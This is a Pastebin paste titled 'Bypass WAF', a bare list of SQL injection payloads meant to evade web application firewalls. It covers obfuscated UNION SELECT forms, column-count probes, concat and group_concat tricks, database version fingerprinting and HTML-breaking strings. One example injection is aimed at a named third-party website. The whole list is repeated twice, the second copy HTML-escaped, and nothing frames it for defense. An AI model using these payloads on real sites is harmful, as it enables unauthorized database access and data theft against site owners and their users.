API tools faq
paste
Advertisement
TikusPintar

Bypass WAF

TikusPintar
Jun 13th, 2017
580
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.46 KB | None | 0 0
raw download clone embed print report
  1. ) order by 1-- -
  2.  
  3.  
  4. ') order by 1-- -
  5.  
  6. ')order by 1%23%23
  7.  
  8. %')order by 1%23%23
  9.  
  10. Null' order by 100--+
  11.  
  12. Null' order by 9999--+
  13.  
  14. ')group by 99-- -
  15.  
  16. 'group by 119449-- -
  17.  
  18. 'group/**/by/**/99%23%23
  19.  
  20. union select ByPassing method
  21.  
  22. +union+distinct+select+
  23.  
  24. +union+distinctROW+select+
  25.  
  26. /**//*!12345UNION SELECT*//**/
  27.  
  28. /**//*!50000UNION SELECT*//**/
  29.  
  30. +/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  31.  
  32. +/*!u%6eion*/+/*!se%6cect*/+
  33.  
  34. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  35.  
  36. 1%')and(0)union(select(1),version(),3,4,5,6)%23%23%23
  37.  
  38. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  39.  
  40. union /*!50000%53elect*/
  41.  
  42. %55nion %53elect
  43.  
  44. +--+Union+--+Select+--+
  45.  
  46. +UnIoN/*&a=*/SeLeCT/*&a=*/
  47.  
  48. id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
  49.  
  50. id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
  51.  
  52. UnIoN SeLeCt CoNcAt(version())--
  53.  
  54. uNiOn aLl sElEcT
  55.  
  56. uUNIONnion all sSELECTelect
  57.  
  58. ============================================================================
  59. :: 400 Bad Request ::
  60. ============================================================================
  61.  
  62. –+%0A
  63.  
  64. union+select+1–+%0A,2–+%0A,3–+%0A,4–+%0A,5–+%0A –
  65.  
  66. ===========================================================================
  67. null the parameter
  68. ===========================================================================
  69.  
  70. id=-1
  71.  
  72. id=null
  73.  
  74. id=1+and+false+
  75.  
  76. id=9999
  77.  
  78. id=1 and 0
  79.  
  80. id==1
  81.  
  82. id=(-1)
  83.  
  84. ==========================================================================
  85. Group_Concat
  86. ==========================================================================
  87.  
  88. Group_Concat
  89.  
  90. group_concat()
  91.  
  92. /*!group_concat*/()
  93.  
  94. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  95.  
  96. group_concat(,0x3c62723e)
  97.  
  98. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29
  99.  
  100. CoNcAt()
  101.  
  102. CONCAT(DISTINCT Version())
  103.  
  104. concat(,0x3a,)
  105.  
  106. concat%00()
  107.  
  108. %00CoNcAt()
  109.  
  110.  
  111.  
  112. /*!50000cOnCat*/(/*!Version()*/)
  113.  
  114. /*!50000cOnCat*/
  115.  
  116. /**//*!12345cOnCat*/(,0x3a,)
  117.  
  118. concat_ws()
  119.  
  120. concat(0x3a,,0x3c62723e)
  121.  
  122. /*!concat_ws(0x3a,)*/
  123.  
  124. concat_ws(0x3a3a3a,version()
  125.  
  126. CONCAT_WS(CHAR(32,58,32),version(),)
  127.  
  128. REVERSE(tacnoc)
  129.  
  130. binary(version())
  131.  
  132. uncompress(compress(version()))
  133.  
  134. aes_decrypt(aes_encrypt(version(),1),1)
  135.  
  136. ==========================================================================
  137. To appear column numbr in page put after id
  138. ==========================================================================
  139.  
  140. id=1+and+1=0+union+select+1,2,3,4,5,6
  141.  
  142. +AND+1=0
  143.  
  144. /*!aND*/ 1 like 0
  145.  
  146. +/*!and*/+1=0
  147.  
  148. +and+2>3+
  149.  
  150. +and(1)=(0)
  151.  
  152. and (1)!=(0)
  153.  
  154. +div+0
  155.  
  156. Having+1=0
  157.  
  158. ==========================================================================
  159. function ByPassing
  160. ==========================================================================
  161.  
  162. unhex(hex(value))
  163.  
  164. cast(value as char)
  165.  
  166. uncompress(compress(version()))
  167.  
  168. cast(version() as char)
  169.  
  170. aes_decrypt(aes_encrypt(version(),1),1)
  171.  
  172. binary(version())
  173.  
  174. convert(value using ascii)
  175.  
  176. ===========================================================================
  177. avoid source page injection
  178. ===========================================================================
  179. FullSecurity.org
  180. concat(?”>,<br><br><br>,@@version,?<img src=”,?<?’#)
  181.  
  182. “><br>? <img src=”
  183.  
  184. <img src=””/>injection<img src=”
  185.  
  186. concat(0x223e,@@version)
  187.  
  188. concat(0x273e27,version(),0x3c212d2d)
  189.  
  190. concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
  191.  
  192. concat(0x223e,@@version,0x3c696d67207372633d22)
  193.  
  194. concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
  195.  
  196. concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
  197.  
  198. concat(‘</title>’,@@version,’<title>’)
  199.  
  200. concat(0x273c2f7469746c653e27,@@version,0x273c7469746c653e27)
  201.  
  202. concat(0x273c2f7469746c653e27,version(),0x273c7469746c653e27)
  203.  
  204. ============================================================================
  205. get version – DB_NAME – user – HOST_NAME – datadir
  206. ============================================================================
  207. FullSecurity.org
  208. version()
  209.  
  210. convert(version() using latin1)
  211.  
  212. unhex(hex(version()))
  213.  
  214. @@GLOBAL.VERSION
  215.  
  216. (substr(@@version,1,1)=5) :: 1 true 0 fals
  217.  
  218. # like #
  219.  
  220. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(substr(@@version,1,1)=5),4,5 –
  221.  
  222. ===========================================================================
  223.  
  224. +and substring(version(),1,1)=4
  225.  
  226. +and substring(version(),1,1)=5
  227.  
  228. +and substring(version(),1,1)=9
  229.  
  230. +and substring(version(),1,1)=10
  231.  
  232. id=1 /*!50094aaaa*/ error
  233.  
  234. id=1 /*!50095aaaa*/ no error
  235.  
  236. id=1 /*!50096aaaa*/ error
  237.  
  238. id=1 /*!40123 1=1*/–+- no error
  239.  
  240. id=1 /*!40122rrrr*/ no error
  241.  
  242. FullSecurity.org</pre> ) order by 1-- -
  243.  
  244.  
  245. ') order by 1-- -
  246.  
  247. ')order by 1%23%23
  248.  
  249. %')order by 1%23%23
  250.  
  251. Null' order by 100--+
  252.  
  253. Null' order by 9999--+
  254.  
  255. ')group by 99-- -
  256.  
  257. 'group by 119449-- -
  258.  
  259. 'group/**/by/**/99%23%23
  260.  
  261. union select ByPassing method
  262.  
  263. +union+distinct+select+
  264.  
  265. +union+distinctROW+select+
  266.  
  267. /**//*!12345UNION SELECT*//**/
  268.  
  269. /**//*!50000UNION SELECT*//**/
  270.  
  271. +/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  272.  
  273. +/*!u%6eion*/+/*!se%6cect*/+
  274.  
  275. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  276.  
  277. 1%')and(0)union(select(1),version(),3,4,5,6)%23%23%23
  278.  
  279. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  280.  
  281. union /*!50000%53elect*/
  282.  
  283. %55nion %53elect
  284.  
  285. +--+Union+--+Select+--+
  286.  
  287. +UnIoN/*&amp;a=*/SeLeCT/*&amp;a=*/
  288.  
  289. id=1+’UnI”On’+'SeL”ECT’ &lt;-MySQL only
  290.  
  291. id=1+'UnI'||'on'+SeLeCT' &lt;-MSSQL only
  292.  
  293. UnIoN SeLeCt CoNcAt(version())--
  294.  
  295. uNiOn aLl sElEcT
  296.  
  297. uUNIONnion all sSELECTelect
  298.  
  299. ============================================================================
  300. :: 400 Bad Request ::
  301. ============================================================================
  302.  
  303. –+%0A
  304.  
  305. union+select+1–+%0A,2–+%0A,3–+%0A,4–+%0A,5–+%0A –
  306.  
  307. ===========================================================================
  308. null the parameter
  309. ===========================================================================
  310.  
  311. id=-1
  312.  
  313. id=null
  314.  
  315. id=1+and+false+
  316.  
  317. id=9999
  318.  
  319. id=1 and 0
  320.  
  321. id==1
  322.  
  323. id=(-1)
  324.  
  325. ==========================================================================
  326. Group_Concat
  327. ==========================================================================
  328.  
  329. Group_Concat
  330.  
  331. group_concat()
  332.  
  333. /*!group_concat*/()
  334.  
  335. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  336.  
  337. group_concat(,0x3c62723e)
  338.  
  339. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29
  340.  
  341. CoNcAt()
  342.  
  343. CONCAT(DISTINCT Version())
  344.  
  345. concat(,0x3a,)
  346.  
  347. concat%00()
  348.  
  349. %00CoNcAt()
  350.  
  351.  
  352.  
  353. /*!50000cOnCat*/(/*!Version()*/)
  354.  
  355. /*!50000cOnCat*/
  356.  
  357. /**//*!12345cOnCat*/(,0x3a,)
  358.  
  359. concat_ws()
  360.  
  361. concat(0x3a,,0x3c62723e)
  362.  
  363. /*!concat_ws(0x3a,)*/
  364.  
  365. concat_ws(0x3a3a3a,version()
  366.  
  367. CONCAT_WS(CHAR(32,58,32),version(),)
  368.  
  369. REVERSE(tacnoc)
  370.  
  371. binary(version())
  372.  
  373. uncompress(compress(version()))
  374.  
  375. aes_decrypt(aes_encrypt(version(),1),1)
  376.  
  377. ==========================================================================
  378. To appear column numbr in page put after id
  379. ==========================================================================
  380.  
  381. id=1+and+1=0+union+select+1,2,3,4,5,6
  382.  
  383. +AND+1=0
  384.  
  385. /*!aND*/ 1 like 0
  386.  
  387. +/*!and*/+1=0
  388.  
  389. +and+2&gt;3+
  390.  
  391. +and(1)=(0)
  392.  
  393. and (1)!=(0)
  394.  
  395. +div+0
  396.  
  397. Having+1=0
  398.  
  399. ==========================================================================
  400. function ByPassing
  401. ==========================================================================
  402.  
  403. unhex(hex(value))
  404.  
  405. cast(value as char)
  406.  
  407. uncompress(compress(version()))
  408.  
  409. cast(version() as char)
  410.  
  411. aes_decrypt(aes_encrypt(version(),1),1)
  412.  
  413. binary(version())
  414.  
  415. convert(value using ascii)
  416.  
  417. ===========================================================================
  418. avoid source page injection
  419. ===========================================================================
  420. FullSecurity.org
  421. concat(?”&gt;,&lt;br&gt;&lt;br&gt;&lt;br&gt;,@@version,?&lt;img src=”,?&lt;?’#)
  422.  
  423. “&gt;&lt;br&gt;? &lt;img src=”
  424.  
  425. &lt;img src=””/&gt;injection&lt;img src=”
  426.  
  427. concat(0x223e,@@version)
  428.  
  429. concat(0x273e27,version(),0x3c212d2d)
  430.  
  431. concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
  432.  
  433. concat(0x223e,@@version,0x3c696d67207372633d22)
  434.  
  435. concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
  436.  
  437. concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
  438.  
  439. concat(‘&lt;/title&gt;’,@@version,’&lt;title&gt;’)
  440.  
  441. concat(0x273c2f7469746c653e27,@@version,0x273c7469746c653e27)
  442.  
  443. concat(0x273c2f7469746c653e27,version(),0x273c7469746c653e27)
  444.  
  445. ============================================================================
  446. get version – DB_NAME – user – HOST_NAME – datadir
  447. ============================================================================
  448. FullSecurity.org
  449. version()
  450.  
  451. convert(version() using latin1)
  452.  
  453. unhex(hex(version()))
  454.  
  455. @@GLOBAL.VERSION
  456.  
  457. (substr(@@version,1,1)=5) :: 1 true 0 fals
  458.  
  459. # like #
  460.  
  461. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(substr(@@version,1,1)=5),4,5 –
  462.  
  463. ===========================================================================
  464.  
  465. +and substring(version(),1,1)=4
  466.  
  467. +and substring(version(),1,1)=5
  468.  
  469. +and substring(version(),1,1)=9
  470.  
  471. +and substring(version(),1,1)=10
  472.  
  473. id=1 /*!50094aaaa*/ error
  474.  
  475. id=1 /*!50095aaaa*/ no error
  476.  
  477. id=1 /*!50096aaaa*/ error
  478.  
  479. id=1 /*!40123 1=1*/–+- no error
  480.  
  481. id=1 /*!40122rrrr*/ no error
  482.  
  483. FullSecurity.org</pre>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!